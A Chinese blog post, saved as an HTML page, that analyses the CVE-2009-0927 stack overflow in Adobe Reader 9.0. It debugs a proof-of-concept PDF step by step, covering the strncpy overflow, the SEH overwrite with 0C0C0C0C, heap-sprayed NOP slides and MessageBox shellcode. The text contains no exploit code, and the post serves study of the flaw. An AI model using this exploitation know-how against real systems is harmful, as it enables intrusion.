<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023233334952.png">
<meta property="article:published_time" content="2021-05-20T01:37:02.000Z">
<meta property="article:modified_time" content="2023-11-17T11:37:15.004Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="漏洞分析">
<meta property="article:tag" content="PDF漏洞">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201022230847400.png">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
CVE-2009-0927:PDF中的JS | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">CVE-2009-0927:PDF中的JS</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-20 09:37:02</span>
<span class="mobile">2021-05-20 09:37:02</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2023-11-17 19:37:15</span>
<span class="mobile">2023-11-17 19:37:15</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/Win%E9%80%86%E5%90%91/">Win逆向</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/">漏洞分析</a>
</li>
<li>
| <a href="/tags/PDF%E6%BC%8F%E6%B4%9E/">PDF漏洞</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h2 id="0x00:分析环境"><a href="#0x00:分析环境" class="headerlink" title="0x00:分析环境"></a>0x00:分析环境</h2><table>
<thead>
<tr>
<th></th>
<th>使用的环境</th>
<th>备注</th>
</tr>
</thead>
<tbody><tr>
<td>操作系统</td>
<td>Windows XP SP3</td>
<td>Vmware 16</td>
</tr>
<tr>
<td>Adobe Reader版本</td>
<td>9.0中文版</td>
<td></td>
</tr>
<tr>
<td>动态调试</td>
<td>OllyDbg v2.01</td>
<td>用的原版的OD其它的OD可能会断不下来</td>
</tr>
<tr>
<td>静态调试</td>
<td>IDA7.0</td>
<td></td>
</tr>
</tbody></table>
<span id="more"></span>
<h2 id="0x01"><a href="#0x01" class="headerlink" title="0x01"></a>0x01</h2><p> 首先用OD打开Adobe Reader 按F5使其正常运行(调试器需要设置步过int3中断和内存异常访问)</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201022230847400.png" class="" title="image-20201022230847400">
<p>然后运行 poc.pdf ,OD会中断在0x00130000处产生内存写入异常。产生异常的原因是0x00130000这个地址已经超出了程序的内存空间范围,出现这种异常一般是复制了超长字符串导致的。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201022231914767.png" class="" title="image-20201022231914767">
<p> 可以通过查看模块(alt+E),查看模块属性发现0x130000为只读属性</p>
<h2 id="0x2"><a href="#0x2" class="headerlink" title="0x2"></a>0x2</h2><p> 接下来我们开始分析异常产生的具体原因,先观察一下堆栈情况,可以看到程序在0x2210fe27中调用了strncpy,问题有可能就在这个函数里面,我们可以在汇编窗口中观察一下这个函数。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201022232324314.png" class="" title="image-20201022232324314">
<p> 进入0x2210fe27之后我们可以看到0x2210FE25处 CALL EDI 调用了 strncp函数,按alt+E查看一下这个地址所在的模块用IDA打开查看一下函数结构。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201022235538635.png" class="" title="image-20201022235538635">
<p> 用IDA打开此文件找到这个函数的位置按F5查看一下伪C代码</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023220723303.png" class="" title="image-20201023220723303">
<p> 通过分析这段汇编代码发现strncpy的长度来源于字符串</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023221046299.png" class="" title="image-20201023221046299">
<h2 id="0x03"><a href="#0x03" class="headerlink" title="0x03"></a>0x03</h2><p> 接下来我们重新用OD重新动态分析,首先在0x2210FDEB处下条件断点’EAX-EDI>600’(这个长度一般情况下大于正常字符串的长度小于异常情况下堆利用的字符串长度)</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023221613381.png" class="" title="image-20201023221613381">
<p> 然后重新用OD加载AdobeReader,并打开POC,程序会断在我们设置的条件断点处,可以看到此时EAX-EDI=0X8005,再减一等于0X8004,并且此时EDI指向的位置存放数据为0C0C0C0C</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023222257857.png" class="" title="image-20201023222257857">
<p>继续往下调试到0x2210FE25 CALL EDI 处,可以发现src指向的位置的数据为0C0C0C0C,要复制的长度为0x8004</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023223038236.png" class="" title="image-20201023223038236">
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023222829091.png" class="" title="image-20201023222829091">
<p>(dest=0x12E4B0) + (N=0x8004) = 0x1364B4,这个地址大于了0x130000前面我们通过查看模块发现0x130000为只读模块,所以这里写入会产生异常,这下可以确认这里就是溢出的根源了.</p>
<p>正常来说这个时候程序抛出异常之后会进入异常处理函数,先查看一下异常处理链</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023224822598.png" class="" title="image-20201023224822598">
<p>调用strncpy之前0x12E6B4中存放下一个SEH记录的位置,0x12E6B8存放本次异常处理的地址</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023225316223.png" class="" title="image-20201023225316223">
<p>现在我们按F8步过执行strncpy(),发现程序产生了写入0x130000异常中断,此时我们再来查看异常处理结构的内容,如下所示之前存放下一个SEH记录位置的数据已经被0C0C0C0C覆盖掉了</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023230030389.png" class="" title="image-20201023230030389">
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023230050091.png" class="" title="image-20201023230050091">
<p>然后再调用异常处理函数就会执行0C0C0C0C处的内容,可以看到全部都是NOP指令</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023230914434.png" class="" title="image-20201023230914434">
<p>根据POC的执行我们知道最后弹出了一个MessageBox,所以我们可以在MessageBoxA处下断点,然后栈回溯查看poc的代码</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023231315257.png" class="" title="image-20201023231315257">
<p>查看0x0C100008处的汇编代码,通过寻找user32找到kernel32的基址,然后通过hash值的对比来找到需要的导出函数,来实现了弹出MessageBox.</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/image-20201023233334952.png" class="" title="image-20201023233334952">
<p>分析完成~</p>
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> CVE-2009-0927:PDF中的JS</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-20 09:37:02</li>
<li>
<strong>更新于
:</strong> 2023-11-17 19:37:15
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/20/CVE-2009-0927-PDF中的JS/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/">#漏洞分析</a>
</li>
<li class="tag-item mx-0.5">
<a href="/tags/PDF%E6%BC%8F%E6%B4%9E/">#PDF漏洞</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">exploit编写系列1:Easy RM to MP3 漏洞调试</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/20/%E5%A0%86%E7%BB%93%E6%9E%84/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">堆结构</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">CVE-2009-0927:PDF中的JS</div>
<ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#0x00%EF%BC%9A%E5%88%86%E6%9E%90%E7%8E%AF%E5%A2%83"><span class="nav-text">0x00:分析环境</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#0x01"><span class="nav-text">0x01</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#0x2"><span class="nav-text">0x2</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#0x03"><span class="nav-text">0x03</span></a></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/20/CVE-2009-0927-PDF中的JS/index.html | HTML | unknown | 37,546 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/20/exploit编写系列1-easy-rm-to-mp3-漏洞调试/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="Easy RM to MP3 漏洞调试0X00 前言分析这个漏洞主要是为了学习怎么通过调试并编写溢出类型漏洞的EXP 0X01 分析环境 调试环境 版本 系统版本 XP_sp3 Easy RM to MP3 2.7.3.700 windbg 6.12">
<meta property="og:type" content="article">
<meta property="og:title" content="exploit编写系列1:Easy RM to MP3 漏洞调试">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="Easy RM to MP3 漏洞调试0X00 前言分析这个漏洞主要是为了学习怎么通过调试并编写溢出类型漏洞的EXP 0X01 分析环境 调试环境 版本 系统版本 XP_sp3 Easy RM to MP3 2.7.3.700 windbg 6.12">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201210234341795.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201211000614971.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201211000800904.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201211004850534.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201211005529815.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201213165731693.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%971-Easy-RM-to-MP3-%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95/image-20201213190656563.png">
